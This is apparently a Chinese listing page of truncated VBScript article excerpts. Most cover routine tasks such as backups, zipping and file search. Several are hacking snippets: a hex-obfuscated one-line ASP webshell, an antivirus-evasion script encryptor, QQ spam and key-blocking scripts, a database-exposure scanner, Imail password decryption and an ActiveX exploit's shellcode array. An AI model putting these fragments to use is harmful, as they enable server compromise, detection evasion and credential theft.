用vbs实现的简单的服务器文件备份办法压缩文件名自动按日期命名

2016年07月27日 95 阅读

简单的服务器文件备份办法压缩文件名自动按日期命名 dimFileName,WshShell,fs,MyCommandFileName=cstr（now）+".RAR" MyCommand="rara"+FileName+"要压缩的文件名或目录名" SetWshShell=WScript.CreateObject（"WScript.Shell"） Setfs=CreateObject（"Scripting.FileSystemObject"） iffs.fi...

输入mdb数据库即可将打包的mdb文件解包

2016年07月27日 106 阅读

好多直接在服务器上将所有文件包括程序，图片等文件封装到mdb，就需要下面这个文件了Dimrs,ws,fso,conn,stream,connStr,theFolder Setrs=CreateObject（"ADODB.RecordSet"） Setstream=CreateObject（"ADODB.Stream"） Setconn=CreateObject（"ADODB.Connection"） Setfso=CreateObject（"Scripti...

VBS编程教程第一部

2016年07月27日 117 阅读

发现大部分黑白的朋友都不会编程,这可不是件好事,所以这次我就写了一个简单的编程教程,讲一下VBScript.主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以,但既然有编程基础推荐直接去找一些参考书来读,会比较快. 什么是VBScript呢？VBScript的全称是:MicrosoftVisualBasicScriptEditon.（微软公司可视化BASIC脚本版）.正如其字面所透露的信息,VBS（VBScript的进一步...

vbs脚本 加密 几个小细节小结下

2016年07月27日 98 阅读

复制代码 代码如下:dxy: 你好！ 我学vbs也有一小段时间了,最近看到一本书上讲vbs脚本的加密,就自己试了试,可是有一点问题,低级的语法错误我都自己修正了,可脚本运行后不起作用.所以想请教你一下.脚本的原理是这样的:它把代码转换成16进制,然后再写个解密代码,通过这个解密来执行加密的代码,将字符串成16进制的代码如下: Functionstr2hex（ByvalstrHex） Fori=1toLen（strHex） sHex=sHex&Hex（Asc...

VBS脚本加密/解密VBS脚本（简易免杀版1.1）

2016年07月27日 112 阅读

DimWshSHell,FSO OnErrorResumeNext SetWshSHell=WScript.CreateObject（"WScript.Shell"） SetFSO=CreateObject（"Scripting.FileSystemObject"） SetArgs=WScript.Arguments Ver="1.1" CloseTime=5 FileName=WScript.ScriptName FileFullName=WScript...

刷QQ群的VBS脚本

2016年07月27日 111 阅读

使用方法：讲以下代码保存为QQ.vbs,然后复制你要发送的东西，双击QQ.vbs就可以自动刷屏拉！ 注意：本代码仅作为技术研究之用，请勿非法使用！ SetWshShell=WScript.CreateObject（"WScript.Shell"） WshShell.AppActivate"群－交流群" fori=1to10‘要发送的次数 WScript.Sleep500 WshShell.SendKeys"^v" WshShell.SendKeysi Ws...

vbs屏蔽键盘按键

2016年07月27日 119 阅读

复制代码 代码如下:"codeBY伤脑筋www.ntbak.cn www.jb51.net"copytofilename.vbs dimnum,var,fso,wsh,pathname num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_ "V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_ "F7,F8,F9,F10,F11,F12" var=Split（...

alpha2 shellcode解密的vbs脚本

2016年07月27日 104 阅读

复制代码 代码如下:DimenTmp,enstr,a,bb enstr=Str2Hex（"RHptd4RPFZVOdoVQTrvWTnTp4n6PVN6QTop1tnau1hsU"） Fori=1ToLen（enStr）step6 enTmp=Array（Mid（enStr,i,6）&"00"） sz=Split（enTmp（0）,",",-1,1） a=right（sz（0）,1）Xorleft（sz（1）,1） bb=bb&a&right（sz（1）,...

用vbs实现zip功能的脚本

2016年07月27日 105 阅读

压缩： FunctionfZip（sSourceFolder,sTargetZIPFile） "ThisfunctionwilladdallofthefilesinasourcefoldertoaZIPfile "usingWindows"nativefolderZIPcapability. DimoShellApp,oFSO,iErr,sErrSource,sErrDescription SetoShellApp=CreateObject（"Shell....

非常棒的lcx写的非常规运行vbs

2016年07月27日 113 阅读

这个组件在xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码：●CreateObject（"SAPI.SpVoice"）.Speak"ILOVEYOU"●，保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题，不保存成vbs或vbe后缀如何运行vbs代码。 一、用mshta来运行vbs hta这种类型的文件运行后也是系统权限，其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码：●m...

N年前的两个脚本%5c暴库

2016年07月27日 112 阅读

DimxStatus,tStatus,vServer,vHeader,vRsBody GetError=InputBox（"请输入网站,例如:http://www.hackerxfiles.com/files/list.asp？id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp？id=415"） IfGetError=""Then MsgBox（"输入错误，程序结束！"） WScript....

vbs算命测试一下你上辈子是男是女

2016年07月27日 107 阅读

复制代码 代码如下:DimMyValue,Response,data,thisd data="30007|22899|22934" thisd=Split（data,"|",-1,1） Randomize"初始化随机数生成器。 DoUntilResponse=vbyes MyValue=Int（（3*Rnd）+1）"产生1到3之间的随机数。 result="&#"&thisd（MyValue-1） Ifresult="妖"Thenresult=...

vbs版的解密base64加密的脚本

2016年07月27日 107 阅读

复制代码 代码如下:FunctionfDecode（sStringToDecode） "ThisfunctionwilldecodeaBase64encodedstringandreturnsthedecodedstring. "Thisbecomesusefullwhenattemptingtohidepasswordsfrompryingeyes. ConstCharList="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk...

更牛的一句话asp木马加密（去掉asp里的%）

2016年07月27日 112 阅读

不知道怎样表达清楚。看例子吧：复制代码 代码如下:<scriptlanguage=vbsrunat=server> Execute（HextoStr（"65786563757465287265717565737428636872283335292929"）） FunctionHextoStr（data） HextoStr="EXECUTE""""" C="&CHR（&H" N="）" DoWhileLen（data）>1 IfIsNume...

用vbs发送带附件的邮件

2016年07月27日 104 阅读

functionSend_mail（You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment） "codebyNetPatch "VBS发送邮件参数说明 "You_Account：你的邮件帐号 "You_Password:你的邮件密码 "Send_Email:主要邮件地址 "Send_Email2:备用邮件地址 "Send_Topic:邮件主题 ...

VBScript开发自动化测试脚本的方法分析

2016年07月27日 110 阅读

我在软件测试这个行业也是做过很多年了，自己的方向也是自动化测试，对VBScript脚本也算是了解，在测试过程中 也应用了一些，所以来谈谈如何使用VBScript来开发自动化测试。 首先先介绍几个可以在自动化测试开发中用到的VBScript的几个函数。1、InStr 函数描述 返回某字符串在另一字符串中第一次出现的位置。语法InStr（[start, ]string1, string2[, compare]） InStr 函数的语法有以下参数： ...

Imail密码加密算法及VBS实现

2016年07月27日 101 阅读

Imail的所有邮局信息,比如用户,密码都实际上都是存储在计算机注册表当中的,所以只需要 打开注册表就可以看到Imail里的所有信息,包括用户的密码.细节: Imail将企业邮局信息全部存储在: HKEY_LOCAL_MACHINESOFTWAREIpswitchIMailDomains<DOMAINNAME>Users<USERNAME> 这样一个键里,其中DomainName是邮局名,UserName是用户名,而在<USE...

vbs搜索文件名或者得到目录列表

2016年07月27日 104 阅读

"把网上的一个小程序改得方便了点，这个搜索次效率很好。 复制代码 代码如下:onerrorresumenext DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath ConstMY_COMPUTER=&H11& ConstWINDOW_HANDLE=0 ConstOPTIONS=0 SetobjShell=CreateObject（"Shell.Applica...

用vbs判断系统补丁的脚本

2016年07月27日 106 阅读

SetobjSession=CreateObject（"Microsoft.Update.Session"） SetobjSearcher=objSession.CreateUpdateSearcher SetobjResults=objSearcher.Search（"Type="Software""） SetcolUpdates=objResults.Updates Fori=0tocolUpdates.Count-1 "IfcolUpdates.It...

ActiveX漏洞通用Exploit vbs修正版

2016年07月27日 109 阅读

C++代码 复制代码 代码如下:#include<stdio.h> #include<string.h> unsignedcharshellcode[]= "xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03" "xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74" "x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75x...